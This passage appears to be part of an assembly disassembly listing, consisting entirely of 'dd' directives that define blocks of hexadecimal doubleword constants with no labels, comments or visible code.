		dd 79E54811h, 0C9C7AE4Ah, 0DED01EB5h, 4A2897B4h, 852A37DCh
		dd 6799EFE3h, 1406CB57h, 0AEEE4A4Bh, 1C241984h,	90A828C2h
		dd 8261DDE0h, 0F26163F5h, 1667F090h, 331F2F68h,	0F0F25247h
		dd 0CBFE7968h, 80E3D005h, 0D008AAF3h, 0A55C1691h, 68A57B46h
		dd 0A259E6BAh, 93D1C502h, 69FD46A9h, 2F78C63h, 471CEA1Dh
		dd 4CD379C1h, 250F3308h, 0D98610F7h, 2A5981C0h,	0AE8605ACh
		dd 664C4CB7h, 5AE41D19h, 10D3294Ch, 657782EBh, 9FC8BFB1h
		dd 2D85ECD3h, 53D26915h, 0A410B2E0h, 25DE788Fh,	80DAD1E8h
		dd 27446700h, 6A83BA0Bh, 0A03B4E66h, 0D05B29BCh, 0B3875491h
		dd 0EAA31A4h, 1F0B6A20h, 0BC7983F5h, 0CFB251CAh, 0B9FF387Eh
		dd 0D29FBE41h, 0CF35FB72h, 3AD90065h, 29258883h, 6132D74Fh
		dd 13DE5431h, 0EA8652C3h
		dd 3282143Dh, 0BB5D9FBAh, 77404462h, 980F93Eh, 928FBE6Fh
		dd 5A39AB5Dh, 17F01260h, 0A04F4E36h, 0E025F633h, 63C876FEh
		dd 0C30329C6h, 9C18B9C1h, 72C0B748h, 0FE7FB519h, 81CD0D9h
		dd 54A86809h, 1580D7F9h, 8131C11Fh, 7AC09F6h, 0C7F795Dh
		dd 0EAE9D025h, 49763A22h, 9543A0AFh, 4E2768E0h,	860BE5BBh
		dd 20787ACBh, 0C1BD13FAh, 0FE68488Fh, 5403502Fh, 12DA36CBh
		dd 0EC258074h, 99EF4EB9h, 8BD42096h, 17C35E1Fh,	20465EE5h
		dd 46709508h, 57413FB9h, 8B2C05E9h, 0B4F24h, 29817D3h
		dd 0E002D148h, 602DB235h, 52415D93h, 5A176B69h,	11B12EA8h
		dd 6857005Bh, 2D14039Bh, 0F9295F1Eh, 2DCD99F1h,	0F6BC065Ah
		dd 4EF2A42Fh, 0CCD6B55Ah, 0F13510Ah, 5A014D7Fh,	0F49DDC7Eh
		dd 0CD7F803Eh, 0D13021CEh, 0EAD81C23h, 47F35872h, 0B38F95Fh
		dd 0C883BBE9h, 82E6D796h, 0CC42D7h, 94313D9Ch, 6B52B7F8h
		dd 8485CC4Ah, 0DC33CBEFh, 0B5ABF8ADh, 6D9D29Bh,	0B0CC7F59h
		dd 0F82B5F71h, 20C7A476h, 3AB72CB1h, 0E91C7868h, 0B52AB0D6h
		dd 0EB798836h, 0C66F542Dh, 0B697304Bh, 22CEBAA3h, 3151AB17h
		dd 0EA8D06FFh, 14962D9Dh, 70EFF6B2h, 84CBF59h, 80E0B607h
		dd 0C633C7CEh, 13EEB093h, 0A93F3FEh, 0FC1CFB34h, 0C7E30637h
		dd 0F60D85F9h, 6A22F3DAh, 54DD8216h, 0DB161B2Ch, 62112267h
		dd 0D863AE61h, 2E1637F3h, 85017BC6h, 77A70572h,	49FE9A55h
		dd 80D8E546h, 0F7A4565Fh, 3FAE961Ch, 0F6698FAh,	58696E66h
		dd 0E8F26DA4h, 8BE1D275h, 93DDA23Eh, 4086DFD8h,	19E6BDC4h
		dd 27421C3Dh, 35274073h, 6A3A136Fh, 257C0308h, 23B86754h
		dd 484BFCE9h, 0EE0D4AFEh, 7C540BEh, 81250938h, 1BC3DDC6h
		dd 0A7F4D8A2h, 6F4B512Dh, 3EAB3AE9h, 894FC7D7h,	455D5AD6h
		dd 0BE0F00D5h, 88D68C8h, 7862B394h, 0DA87013Bh,	8006A743h
		dd 7F9CC24Ch, 11156076h, 7A936DEAh, 10E58959h, 0A7403A3Eh
		dd 6429D3Bh, 0FDAFE3C7h, 0DF4B971Ch, 2E9B6DBAh,	0BD0D28FBh
		dd 66951E90h, 2D339C5Fh, 0E09ADD5h, 30C5F931h, 0E898BB01h
		dd 91F4CE01h, 0BE8DBE4Fh, 8378D4E5h, 962C342Eh,	36F70958h
		dd 0AD08597Fh, 0E79A8313h, 4DEAFE1h, 0BD9617AFh, 9A593EE9h
		dd 561BF756h, 656272Eh,	68D5A12Dh, 0B63B71D9h, 99B693F6h
		dd 20B59A16h, 9D10762Bh, 0D97D2E90h, 0BEBD402Ah, 45D432C1h
		dd 0B4F07EA7h, 0C9B88088h, 10795201h, 2158C289h, 27E90B20h
		dd 5C2EE54Eh, 6122AFE6h, 6EABEA09h, 0BD32F8AEh,	0C7803B09h
		dd 0FCA66F6h, 0F1EE0CD2h, 682564EAh, 0BC35AC2Ch, 0DCEE9C1h
		dd 0BFF1527Eh, 9920FDF1h, 2BE69557h, 1A4A4DF2h,	0A1F674BBh
		dd 0B6C060DFh, 0C9A29C4Bh, 63A0BED2h, 30194EDFh, 0FB28D083h
		dd 0A0862E50h, 7C5D6413h, 0BA71F01h, 0E3D83F2Bh, 0C06C18C7h
		dd 33880C7Eh, 0DC78E09Fh, 665980D8h, 101B5248h,	4E59610Fh
		dd 0C135D662h, 0F24AB77h, 71B0F4EEh, 67CE0313h,	0CD35E0ABh
		dd 776FAD17h, 505AEECh,	0BF7EECE9h, 0EA40C9E6h,	14ED3E2h
		dd 6E79ADB0h, 8C7EEC2Eh, 0C2BE2CC7h, 0DD1C83D2h, 780A74C4h
		dd 964F0C4Ch, 69934600h, 25F031B1h, 54055FE9h, 0F7B90050h
		dd 0B86D4E2Eh, 0B7C4D8FDh, 0C6960175h, 0E4EEE963h, 0B76777FFh
		dd 0C89AF952h, 5F967AA9h, 0A5CBE918h, 4AB56826h, 13A2B358h
		dd 0EA4EB05h, 91215FBDh, 385EF505h, 2E2C7C3Dh, 0E28F9D78h
		dd 0FDC40406h, 0E160C9AEh, 91842F6Bh, 4FE99BFAh, 10CBE1D8h
		dd 59B8A8E9h, 6E530493h, 0F1AA72C5h, 5F080128h,	8B47F21h
		dd 0BEE92C08h, 68668281h, 0A0551E40h, 0B551536Ch, 0EF882E1Fh
		dd 0AD68586Ah, 517F98B5h, 2242B888h, 0C30728EBh, 33E66618h
		dd 0C31606Fh, 7FE90F58h, 820F96DEh, 6B015220h, 2520585Fh
		dd 0A88F38CEh, 1C6808D4h, 97202814h, 1656557Eh,	0B2E11AE9h
		dd 285B83FBh, 92A1F9C8h, 2DAFFDFBh, 0B1E2023Dh,	8028D009h
		dd 3C7625A7h, 0D1A0652Bh, 1C3F0883h, 2F9F0917h,	5AC2F45Ah
		dd 9139275Dh, 0D029AB3Eh, 59687878h, 5389677Fh,	5CFF04D5h
		dd 21844FBDh, 774F09B9h, 0BF24F340h, 16893B25h,	0D7B09EEh
		dd 830156B3h, 0CC9F4F57h, 4CB0DE87h, 0F2D3E40h,	7B904496h
		dd 5378644Bh, 7AAA7AB5h, 0ECD2CBD1h, 0EF0D7304h, 1DF956B5h
		dd 0C6DCA0EAh, 6EC458D0h, 0D4820C4Ah, 42F5430Bh, 0D8B2B38Dh
		dd 24840FC9h, 899675C3h, 99553580h, 54EA57F5h, 8B45E99Bh
		dd 0E90E8C26h, 1CFC17E1h, 0F2D334BDh, 242B85Ch,	0C751E975h
		dd 0FA5977FEh, 6653D1EBh, 92633EEh, 0BC0CB6CFh,	40E61B0Ah
		dd 0FD77294Eh, 2ACBB071h, 0D53F8B53h, 0D97FA6E2h, 9EE96136h
		dd 949C348Eh, 1BC00912h, 0E04B6BECh, 4E1231D0h,	83141256h
		dd 0F4D82053h, 1FF67881h, 9506062h, 0EE5CFB63h,	0C1EA3965h
		dd 0C3D104CBh, 5AE953A8h, 93E56D4Ah, 4BD4F5DFh,	7A43ADBEh
		dd 0A602BC5Bh, 55FEC680h, 3C375976h, 570ED684h,	0AB4F88C5h
		dd 0AF773031h, 0EF80EE84h, 0ABACEA0Eh, 69F2303Bh, 0E55208FDh
		dd 0FCB7CF2Fh, 0E92D82B7h, 5BF54C22h, 0D2E9E165h, 168A7BF7h
		dd 97808827h, 0C2390EBBh, 56F4434Bh, 331B0ECFh,	0F7C0499Fh
		dd 454C57B0h, 0D9F90125h, 65FD4955h, 11B909DBh,	0B7D04C57h
		dd 0A84565F1h, 32498A5Dh, 0FB90DDD5h, 405A0C68h, 7ED6A98Ch
		dd 0D866482Ch, 0BDF4872h, 130C5800h, 0EBE28160h, 0D62A3E27h
		dd 555A408Dh, 0EA17DDBDh, 0EEF0E072h, 0A0F19C31h, 681840F7h
		dd 0E24C7316h, 0DCA04BFh, 0F75909BAh, 3125EA9Ch, 0BE4C63Ah
		dd 38EE589Dh, 2A3D31E9h, 0C1BA8913h, 3B4268EAh,	0DBFBC2C5h
		dd 7FAC4F57h, 0C0784h, 0EE6C1A25h, 5005024Fh, 4815CC08h
		dd 0E4046A41h, 0C2DE2B4h, 89EC7410h, 23A0D186h,	9B1B12CAh
		dd 0D5ED7B5Bh, 0DF0EE13Bh, 0A113E97Fh, 5AF5C062h, 7B90C5E0h
		dd 0FD2C7E2Dh, 0A0C9E392h, 97B805AFh, 0C2374F01h, 61CF2945h
		dd 0E9080190h, 0A74E3E7Ah, 7EE3E51Dh, 0F9BF39EFh, 22176B6Ch
		dd 8650F9E7h, 1DEB69ABh, 46984852h, 3657197h, 59C23F4h
		dd 9542CFD2h, 0F6730BF5h, 0E9557894h, 0DA13184Eh, 0D41084ACh
		dd 0F180094Fh, 26B7C9Ah, 0C6FEE6D0h, 0AC608184h, 5AF4000h
		dd 8BBF573Ch, 0F57F0F33h, 0DB0D6300h, 1208C40Ch, 171927E9h
		dd 3E380856h, 7D14E80Ch, 543600B9h, 0D22A40C0h,	103A8923h
		dd 63B0006Bh, 0A8AC643Ch, 0F570DF1h, 0D835038Bh, 5969DABFh
		dd 2BE2C108h, 8B02E128h, 1C2EB8F3h, 0D87AB1D2h,	0BA2D3975h
		dd 2E56E5h, 16770BB2h, 0F048B70Fh, 0F2FD01D5h, 0D88A3345h
		dd 0C4A622B1h, 57238950h, 0F9C88066h, 90018F47h, 8C89CA39h
		dd 0C0D101E7h, 0F483E2A7h, 0D7388B02h, 0F488949h, 0E6D6285h
		dd 0DA7DA0ABh, 7DF8819Ch, 0E69B0079h, 0C96D7187h, 8F0E2FBBh
		dd 4021642Ah, 7C4478ECh, 35B701D6h, 53C82981h, 85A4F05Ch
		dd 0BCD48A00h, 9E2E8439h, 51646519h, 0C047BD8h,	108084E1h
		dd 0E74D00E0h, 922106C8h, 7900FEDDh, 6791B41Dh,	0EE66E17Bh
		dd 0DFD80C88h, 0A629E95Fh, 9B542284h, 8C114A42h, 0DBBA11E8h
		dd 219DCD11h, 0E2A6083Eh, 2900CE91h, 97851ABDh,	0DD00B024h
		dd 0CACCF205h, 79587F6Eh, 58B046h, 11254298h, 0AC08A1BBh
		dd 7B003176h, 0CF7D75BCh, 0E24F47h, 2882B145h, 1B86A936h
		dd 0FB9E2D00h, 6685BAFAh, 551E00BCh, 3C2983DFh,	21002702h
		dd 6776C4C3h, 745C3015h, 1B8D0E0Ah, 0DF00B461h,	0B99B2B93h
		dd 20ACA400h, 7B5C554Eh
		dd 0AE0A0715h, 0E04CE930h, 0A92E9460h, 8F1BC600h, 0ACC4069Dh
		dd 0F6CC0321h, 0F94A43D2h, 0D8E6C5F0h, 0E44D700h, 0ED18B609h
		dd 0CF9C00DBh, 0B45CEFB8h, 0A9002879h, 71FED087h, 0D31C0Fh
		dd 0C832A0Eh, 0B5DB42FAh, 664C5400h, 7C8BAB5Fh,	0DB60032h
		dd 0CB05DC9Dh, 7614CDF3h, 0F07B48h, 0FCAD0706h,	24178B97h
		dd 0F12A6Dh, 0F3E846E1h, 760FD650h, 8067AE5Ah, 138A0CB8h
		dd 0C4A427h, 3D7B626h, 1CD0CEE0h, 7601143Dh, 0BDE5CD00h
		dd 0D3C98F39h, 5F8D1C67h, 0C300BE49h, 0E1B2AAC7h, 3B77D49Ah
		dd 0C2667A05h, 2BC04959h, 0D6341Ch, 0A9E7F5E0h,	8F4D3C94h
		dd 28E96300h, 1DE43101h, 8D2501C5h, 0EB47DFCh, 469FD002h
		dd 607BA224h, 9B670E3Ah, 0EF33E022h, 18CF63Dh, 1B62C763h
		dd 403E65D7h, 0C1AAF5B7h, 8FDC8B07h, 29FEA1h, 57BC73E5h
		dd 94E10079h, 20EBDE50h, 0F00040Ch, 1ACB9B6Ah, 48ADA6h
		dd 89E833B6h, 43232C76h, 7C00117Eh, 0C13F5A18h,	37B21Eh
		dd 671526D7h, 0DD2A396Ah, 0E7B87850h, 0C76BD200h, 952EF782h
		dd 0FB09001Ah, 0D4A50484h, 0EF0040D3h, 0C2C12428h, 7B646581h
		dd 0EC3000CAh, 1AC35FCFh, 0DC0099A5h, 0BC335B56h, 0EEA946EBh
		dd 86D13AE4h, 91193583h, 0B6E8109Dh, 2B000409h,	7EB48A5Bh
		dd 3525516h, 117E051h, 0E0B7DC2Ch, 20F070B7h, 0CC2E2A00h
		dd 0A8CFA1E5h, 23912C1Ch, 0C7F8046Bh, 9D0CC0BCh, 6E00BB6Ch
		dd 56A7E150h, 48167D90h, 0D7038CAEh, 3565EAE4h,	0DB5884B8h
		dd 0CB618100h, 8B09AAB9h, 2A2C000Ah, 5E05FEB3h,	0B2007051h
		dd 9D068562h, 21D4F6Bh,	6F262AD6h, 47E04893h, 8B0001CFh
		dd 30C72512h, 75153D90h, 9BD4021Bh, 70BEFD65h, 54BA07C0h
		dd 2EC3CA03h, 90BC6F90h, 493C073h, 993FF377h, 0C05886BAh
		dd 0B9DD090Fh, 5087A063h, 0D1E53Eh, 5F4EAAECh, 27BD1EF8h
		dd 223B9375h, 0F6612F05h, 0F15200C7h, 5DD5DC5Ah, 0EF68AF00h
		dd 635125C2h, 0AA562608h, 3E0D0520h, 2CE800DCh,	81098EACh
		dd 0BDCAF400h, 0A718D94Bh, 74E3E430h, 82ED00B4h, 7CD40F6Bh
		dd 2A09779Ch, 396236h, 0D60720B8h, 374A1E52h, 0AC6EC4A5h
		dd 120480C5h, 8648F3A1h, 0CBDC0014h, 0CF3A2738h, 5DC60108h
		dd 8279FDCDh, 0C0B822C8h, 0E1C73226h, 6D840ECCh, 800C042h
		dd 9FD78A3Dh, 3B3A7100h, 833E48EFh, 9714057Eh, 837470F1h
		dd 0D090E14Ah, 95F4B2FAh, 0AF6A2106h, 47A3204h,	5E657E0Fh
		dd 99F7C060h, 0BF260CB0h, 0F80099EBh, 5593DB52h, 8C220726h
		dd 709BA620h, 5D6B9687h, 8C6EE824h, 752F6400h, 7CB3FB7Fh
		dd 83C412DFh, 69940077h, 5FA26202h, 90C2D124h, 0B9FF0D80h
		dd 2B5E0Ah, 6668277Ah, 1F2D9F01h, 6FBDF600h, 3D0D22CBh
		dd 5ED80033h, 57556390h, 0C100E6E4h, 0AE0B58F0h, 0B7CF21h
		dd 7A074B69h, 0C8113BCDh, 6A00D0B0h, 0B435030h,	5A3899h
		dd 0FF36DCCAh, 70E48683h, 79B4095h, 27BF0045h, 137F8AE9h
		dd 0F00FB31h, 32AF718Dh, 0D11B14h, 66C27CF9h, 337E6057h
		dd 24B00539h, 0D913F82Dh, 4BB69840h, 0EA8422Ah,	81E804CFh
		dd 40601E33h, 0A1823AC7h, 1E728F53h, 0AB022C1Ch, 0F776BB8Ah
		dd 50E43201h, 0FCF4614Bh, 0B94100AFh, 10A789C2h, 195CF79Ch
		dd 7E720514h, 25C7858Ch, 6B608079h, 0E006BBh, 7BB5DC92h
		dd 9F16F1FDh, 0C9F348B0h, 6F5EE871h, 3902003h, 9844A4A8h
		dd 0CF6B45h, 4DFA5498h,	0F10966C3h, 0BA733Bh, 59C7036h
		dd 301B95EFh, 68680D6Fh, 0BC015056h, 8BF62725h,	97B15AFh
		dd 0D881B35Eh, 0DDAAC891h, 4FBA017Eh, 32FAF0h, 0D9626CBh
		dd 7C1F9A64h, 0BA02E099h, 7F62CD5Bh, 0C927C080h, 0A2093A30h
		dd 0A0E4AB2Fh, 6E8ACE0h, 0C2FD0C24h, 0F38827DCh, 0D87E3226h
		dd 0CB2264C0h, 1235772Fh, 8A4D39h, 1387822Ch, 0D100F8CAh
		dd 40B6A2D4h, 734796h, 458C527Dh, 41EC6A03h, 0BD1A5300h
		dd 99FF9809h, 4C2A0181h, 4093AAB1h, 0E882034h, 468D5907h
		dd 0A162C60Dh, 77CC41FBh, 0C1015E00h, 0F0B8D1E0h, 34B59500h
		dd 0D9A09B6Fh, 981B00B4h, 0DD570D19h, 0A600E1C5h, 17D3FE8h
		dd 40F5859h, 14F6F951h,	0C2B8C0A0h, 0A70B1DEBh,	15713F2h
		dd 0EE8846B8h, 875F4h, 49550A73h, 0F0C96342h, 5A3DBE00h
		dd 23217007h, 5156002Fh, 0DEFA04CBh, 730002C8h,	39C9871Ch
		dd 3D2A7D5Fh, 5E80DFB6h, 91E043E5h, 8672A54Ch, 480031B8h
		dd 1B39CC3Ch, 6047BC54h, 66E07C56h, 991DC445h, 3980407Dh
		dd 8BAFA0EBh, 0B4C30125h, 945DCDE0h, 3C6730C4h,	0F3B69D13h
		dd 0A93DCC43h, 10A3A016h, 11F11FACh, 7A5E409Eh,	0E93A548Bh
		dd 0C4DAFB02h, 0E4053156h, 15450458h, 0D7733077h, 59EE13D4h
		dd 223476F0h, 49CC30E9h, 0D7F79200h, 804B64EAh,	6C560046h
		dd 1707FD16h, 8D00E2D5h, 3A532941h, 0BA52504h, 78108ADFh
		dd 9E7A7400h, 33481F7Dh, 73760BF4h, 4F0B40h, 8579FAE3h
		dd 0A04C1E1Dh, 40442431h, 6C0A0490h, 7D74F800h,	0F0DE8EDDh
		dd 0A75A004Bh, 1706B743h, 941720F9h, 0A1075B07h, 0A0BF1877h
		dd 0ED404C1Ah, 0EA78B849h, 25CD0028h, 50CB1E6Dh, 610083C6h
		dd 0F6526C8Bh, 441A9Ah,	0CEB18CD8h, 6BDAD1ECh, 3C691600h
		dd 19C229EAh, 713F0184h, 61E6C4EFh, 0F58840DAh,	0E51CB71Fh
		dd 300EEFFh, 9A6E3587h,	0F959260Dh, 1A881F8h, 0D502B1B3h
		dd 0B539809Fh, 47A5FDE0h, 40F606ADh, 0A896D92Ch, 34604C00h
		dd 5AB60AD2h, 0E2C20CD6h, 0B164CE24h, 9CEE6C07h, 0EB707754h
		dd 134DBB43h, 800851h, 92E90749h, 7300FC52h, 8A83A91Fh
		dd 768ED1A2h, 0E6280063h, 613C33B5h, 52005421h,	88059E4Dh
		dd 78553FC0h, 0E5CF0059h, 3DF91F71h, 60E1E2E1h,	9E005754h
		dd 42C9C60Eh, 0CD239Ah,	5FD3D046h, 44703C39h, 4EFAE200h
		dd 0EE47E10Bh, 0A1B2319Fh, 61F829E8h, 0B8A8408Ch, 0A0302F6h
		dd 0BBB013E9h, 0B221B60h, 0F5C82120h, 0ED4A6CCAh, 5DCE6400h
		dd 3D40097Fh, 59007BABh, 0D8C210E3h, 0B300E858h, 71DA6AC9h
		dd 336DB8h, 9E4B4C4Ah, 0B94B70Fh, 0B5A1ED03h, 0E075C892h
		dd 0ED1CC59h, 0F2615471h, 1D120AA1h, 5B32F885h,	7F2F3F5Ch
		dd 0B559AD1Dh, 0E084044Fh, 234DDB18h, 0F50574D1h, 4471E460h
		dd 0EE67446Ah, 0E75372B0h, 0C41CD0CFh, 9A7D26h,	69C3E306h
		dd 0B5B84D57h, 2ADB4700h, 0A25AB29Dh, 50730033h, 0D311495Bh
		dd 0B8026C12h, 0D03EC130h, 0E040C32Dh, 2F2B309h, 1C7DB1CCh
		dd 0F3E07582h, 31F8D142h, 80B07B3Ah, 44D67759h,	1C27A72Fh
		dd 77A9E1Fh, 5EFFF1AAh,	0D53C6340h, 7C00CA9Bh, 0DDF4BE70h
		dd 0BD6F23h, 0F6365F52h, 1CA11A12h, 680DDA00h, 0B1F773D6h
		dd 995B00E1h, 7018409Eh, 8900B333h, 6B178A08h, 71E280DCh
		dd 7B610064h, 0A2185FA0h, 441749C4h, 0D42011B0h, 1F015523h
		dd 40FA9D46h, 0F66D9FA2h, 92001AAFh, 0C207854Bh, 0CF89BFBh
		dd 47EF3AA4h, 0C3E65840h, 4BEA7002h, 0E05BCF1Eh, 1A03E80h
		dd 57830A7Fh, 2C69DCA9h, 2A0E0058h, 0F1B926D9h,	61340F78h
		dd 28204B41h, 1CFE3E92h, 0A8457309h, 6AC4C07Dh,	0D50B00AAh
		dd 899266D2h, 4D3E2793h, 2CC84Ah, 0BE9BB916h, 98527EDEh
		dd 0D2D00CEh, 0CCDD682Fh, 89FE2AEBh, 57F4B000h,	0A9757143h
		dd 0D4F700FCh, 0E5825255h, 0EC1D8A13h, 0AC411D7Ah, 7046188h
		dd 421370h, 0A82577C0h,	847F3DB2h, 0FDDCF000h, 7C85BD9Dh
		dd 79740061h, 14418124h
		dd 0B51F1D5Eh, 30BC7A26h, 92C1101Ch, 477B3067h,	3FC0420h
		dd 37E0D880h, 1E064CCh,	87799C61h, 0A7D1BC50h, 40F0BFD4h
		dd 0C45F0059h, 77BEDE34h, 37503EACh, 741CFF08h,	61C08171h
		dd 80187F88h, 0BD39C6BCh, 54806904h, 14AE6C81h,	7D383F00h
		dd 0B624BBFAh, 5CF09Ch,	630A8294h, 0F4C06A12h, 8E496700h
		dd 0FF9B7A9h, 74D71DA0h, 823C8FC2h, 0B9B23420h,	2D5C25C7h
		dd 0BA4E3EB1h, 3718006Eh, 9BFCA668h, 435C00CBh,	4A7D01A1h
		dd 8315034Fh, 3F0055Fh,	0DB14FE99h, 0C0C28B72h,	0C4BD0182h
		dd 0E0F0E1A1h, 5E8E218h, 83289A1Ch, 6621C019h, 609CBBD0h
		dd 0BE581192h, 3D7072CDh, 68E280A8h, 23E13B18h,	0B0D27811h
		dd 808330FAh, 82559F81h, 116E5F30h, 108D43F9h, 17DFD0Dh
		dd 0C6981779h, 90097F1Fh, 66226549h, 0D903F91Ah, 3F5020C0h
		dd 449C8144h, 830045ADh, 6CB697Fh, 4835EAh, 65EBA896h
		dd 38F092F8h, 7B830903h, 813B3979h, 108923D5h, 88106085h
		dd 8D0F0BE1h, 0A7F6A8A4h, 0D7417E24h, 2020BC7Fh, 367972D0h
		dd 70381278h, 1E475020h, 0CC40B593h, 22106ED7h,	0F0D17161h
		dd 71202BE7h, 47283E8Dh, 529E7780h, 4D0F95CAh, 7AA5AA00h
		dd 0A21A1BDCh, 59270E31h, 40F98E3Ah, 2C06F9Bh, 0A4D7CDDEh
		dd 6F4B0BC4h, 300093F6h, 0AC5C4647h, 0CCEB0403h, 0FE8631E2h
		dd 0E78407F2h, 96CB2134h, 8237E181h, 0D08099FDh, 1A5417Ah
		dd 0FCAB45F7h, 2077BB44h, 0D4727F14h, 805A173Fh, 4B816FA9h
		dd 0DC554h, 3DFFE7Ch, 1E64F001h, 705984A0h, 0DAED0507h
		dd 2B0469F8h, 144414E0h, 88854FB3h, 21ED900h, 14E51CB4h
		dd 0FC8F970Fh, 0E660765h, 0E679ADC0h, 508EF817h, 7C0F1441h
		dd 2AFA00ACh, 5280B7D0h, 300CFE63h, 0A4CFDE51h,	373B00E7h
		dd 0BA3A4B66h, 360006A2h, 5ED0682Eh, 0C0A11623h, 4EE09F38h
		dd 571D6641h, 0E50017D6h, 7C2B454h, 682B0F9Dh, 0FD40FFD5h
		dd 498F0E5Ch, 0FA4120C0h, 53ED7AE8h, 0F884209Dh, 19C76097h
		dd 0DAD630BCh, 3D0FCD98h, 0D065B400h, 5EA8414Ah, 0C01C604Eh
		dd 32C3108Fh, 0B8B02266h, 46D00161h, 3D13CFCEh,	161C40B7h
		dd 21C139B8h, 28DB0CA5h, 0A923E4h, 90B3885Dh, 49FCB7B5h
		dd 690FDC74h, 4074CFD2h, 1D8F5A97h, 0E1590F6Ah,	8387EBE8h
		dd 46598C58h, 800FB53Eh, 3D2F53CEh, 0E82E9BE7h,	2921C05Ah
		dd 0CD200FADh, 60361658h, 88874BB8h, 9CE0C0F3h,	532750E5h
		dd 0A8D6633Dh, 2E008C1Dh, 704D22A1h, 60F2DBB8h,	0F44AB836h
		dd 0E501A0D8h, 0D774327h, 30814E67h, 0BAFD5E8h,	2C8FE456h
		dd 0C8CCD701h, 0D86EF071h, 0CF66888Eh, 37AFEDC2h, 0E4D721E0h
		dd 551B0D18h, 5265D340h, 7B0090B7h, 0B95D4238h,	611C8632h
		dd 3E4FD879h, 0DBE4401Ch, 30BD582Eh, 0AE38291Fh, 0A1CE3DF2h
		dd 6E1D0021h, 0E7BF9B3h, 7C29C04Eh, 0F721228Ch,	9E11170Fh
		dd 0E0FF8008h, 9DAD8D9h, 7278BB74h, 2CA00D00h, 6401D2DBh
		dd 1643FD4Fh, 97E36528h, 3587BEF1h, 3A64B180h, 0DC6DE64Bh
		dd 6BF0E1C0h, 0A5B067Dh, 4F6A1CC7h, 21F498DCh, 7D00839Dh
		dd 4B765868h, 3BAF06Dh,	0AE5A62B0h, 580053E3h, 0C1979D9h
		dd 52E105C4h, 2E2EBCD3h, 154930C5h, 87004470h, 69BB7183h
		dd 50C367Ch, 0B7B99121h, 7BEC4076h, 0CA86AE66h,	0B254E207h
		dd 0B7C29F8Dh, 510C494Dh, 1B802A2h, 0F3CF08A4h,	8068592Eh
		dd 0BF883C21h, 18D743E5h, 0A05A33D5h, 1F0060DFh, 0EA08276h
		dd 0E0EB2E8Ch, 8148C152h, 803E2BC5h, 1107E928h,	18D76FFFh
		dd 0C940BCE0h, 0E5446EF1h, 0A2C000A0h, 0BD8BBA54h, 6100E799h
		dd 468C17C7h, 240ECCB0h, 25827EFh, 7BE07FB9h, 8CFEC00h
		dd 0B62C0057h, 76B1D86Ah, 6C308734h, 486059DEh,	94B50FF5h
		dd 2C403CD1h, 0B70C6872h, 0C4F15360h, 119E3DAh,	3989606Eh
		dd 805B5950h, 9BFDB1F9h, 39AED2C9h, 78056FCh, 81063794h
		dd 6200887Ah, 14C4302Ch, 12DE04FFh, 84B39FBh, 3C0AB44h
		dd 46B3671Dh, 2622F1h, 52111AFCh, 3B9BC180h, 885F8631h
		dd 0D0A4D338h, 69003B28h, 6ACE4514h, 0A74C17E0h, 0B27E0E08h
		dd 0B1678C3Bh, 12A27816h, 3A7FC10h, 687C3908h, 0D18E3800h
		dd 8A48CC61h, 0C58C226h, 0A881549Dh, 4D294AFh, 20554C82h
		dd 0DE8D6A91h, 69FE88FCh, 11FE401h, 611D275Bh, 1143DAh
		dd 0CC3F60C1h, 7D44129Ah, 0E10C1300h, 0EBD279D8h, 0BC3B288Fh
		dd 19A0C2A1h, 8C92CAE5h, 68C20C40h, 5ECEE805h, 0F00726BEh
		dd 1FC0D6BAh, 0C04C537Ch, 5E40CAD9h, 5D00054Bh,	5FD34391h
		dd 0D269AF3Ch, 0F680421h, 4058071Eh, 3CF2C181h,	652869BBh
		dd 7AD40038h, 0FE0A13F0h, 49732B3Ch, 0C0441048h, 0B3EB986Dh
		dd 0E1D00FBh, 0B572B8E9h, 8E0CE6D8h, 0B0AB06E1h, 0AC9ACCh
		dd 2507F9A1h, 0B84B591Ch, 13F1ECA8h, 0A4A841ECh, 83004717h
		dd 0F25ECA60h, 2B3AF12h, 5A82B633h, 11E1457Ah, 28E822CFh
		dd 803E0AAh, 0FDE24D65h, 18D00CA7h, 2A514FB8h, 0B5A4DF05h
		dd 1082CCB9h, 4214C9D1h, 0E7942180h, 0C36FB4A4h, 0B92B0B01h
		dd 0E265096Eh, 0C0026431h, 0CCE1232Ch, 4111F6A9h, 8039D99Ch
		dd 0D4B39C19h, 26906C83h, 247871B6h, 81EA1170h,	5B027D67h
		dd 10EE31D2h, 0C7D7F91h, 0E05842F9h, 2B40AE68h,	0E15600D1h
		dd 72A48BDh, 0DC99503Ah, 811824D1h, 0CB076890h,	7C5D7D9Fh
		dd 0BEEF4E70h, 0D1A90782h, 2479B8AFh, 278CC896h, 74FEEFECh
		dd 0EDE18100h, 0FC8D9FBDh, 4D374C41h, 826EB960h, 0B900D0C9h
		dd 9FDD1C1Dh, 90CEBCA0h, 23A8DE77h, 831CFF00h, 867C11B3h
		dd 817E7h, 0A4BF5409h, 9702414Bh, 3FE60C3Dh, 0BA8C4390h
		dd 5ECF00D0h, 90A214E2h, 4065E884h, 53DF59FEh, 10921Bh
		dd 0FF50A08h, 405A27CDh, 8A0C1549h, 0B909FCE2h,	2D0C31E4h
		dd 0A4EA8F10h, 46525800h, 733E8AD3h, 0C9561E37h, 6571B053h
		dd 5A00A2BFh, 0DBFD1EDAh, 5CBE4529h, 802334F5h,	0E20FAA00h
		dd 862EABCEh, 243C44h, 0BC270FA2h, 65C3BA69h, 0D835B02h
		dd 6018CEA3h, 2CCF1E68h, 19104B3Fh, 188160FAh, 0E30F08A7h
		dd 42C4A3CEh, 0F9F2740h, 1301ED97h, 1FAD6358h, 74206968h
		dd 0A3350904h, 9CA0407Eh, 76C5D98Fh, 4316757Ah,	409D237h
		dd 456100B1h, 0B2EBC657h, 0B83E26E4h, 81383043h, 82EB87BDh
		dd 7EAB418h, 11840A8Ah,	7D6980F0h, 8C775AFCh, 81DCEA45h
		dd 0EC2A007Dh, 7A771A0Eh, 6100E0C9h, 70DE24Fh, 77ADFAD1h
		dd 0E31C06Ch, 0B20B731Ch, 0E9DA6200h, 2EF4191Ah, 0B5940063h
		dd 7E7AFDEEh, 520574B7h, 3DBAD4CDh, 7B5EF040h, 1ADDBFh
		dd 0F963D543h, 0F436C508h, 0D23D3C90h, 0D13C330Dh, 315B98C2h
		dd 2064B868h, 89122F17h, 3421D064h, 60701282h, 327B31AEh
		dd 0F1EAB220h, 0AF84403Fh, 562C5D4Bh, 0B740185Ah, 94F238A7h
		dd 31120294h, 8880C84h,	0A2BD03E7h, 40014362h, 0E53365D0h
		dd 40CA9716h, 9ECD4A7Ch, 0A5B50282h, 0B44A3D07h, 772664C0h
